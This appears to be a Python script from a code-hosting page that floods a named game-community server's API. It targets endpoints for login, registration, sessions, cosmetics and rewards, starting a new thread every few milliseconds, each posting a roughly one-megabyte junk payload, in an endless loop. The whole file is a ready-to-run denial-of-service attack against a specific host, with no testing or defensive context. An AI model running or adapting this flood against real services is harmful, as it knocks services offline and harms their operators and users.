41 lines
975 B
Python
Executable file
41 lines
975 B
Python
Executable file
import requests, time, _thread
|
|
|
|
API_URL = "http://teamacedia.baselinux.net:22222"
|
|
|
|
ENDPOINTS = [
|
|
"/api/register",
|
|
"/api/login",
|
|
"/api/verify-session",
|
|
"/api/server/join",
|
|
"/api/server/leave",
|
|
"/api/server/players",
|
|
"/api/cosmetics/capes",
|
|
"/api/users/capes",
|
|
"/api/users/capes/set_selected",
|
|
"/api/users/capes/get_selected",
|
|
"/api/users/get_all",
|
|
"/api/rewards/create",
|
|
"/api/rewards/update",
|
|
"/api/rewards/delete",
|
|
"/api/rewards/get_all",
|
|
"/api/rewards/redeem"
|
|
]
|
|
|
|
def spam_endpoint(endpoint: str) -> None:
|
|
response = requests.post(
|
|
url = API_URL + endpoint,
|
|
json = {
|
|
"0": "0"*1024*1023
|
|
}
|
|
)
|
|
|
|
print(f"{endpoint} returned status code {response.status_code}")
|
|
|
|
def main() -> None:
|
|
while True:
|
|
for endpoint in ENDPOINTS:
|
|
time.sleep(0.005)
|
|
_thread.start_new_thread(spam_endpoint, (endpoint,))
|
|
|
|
if __name__ == "__main__":
|
|
main()
|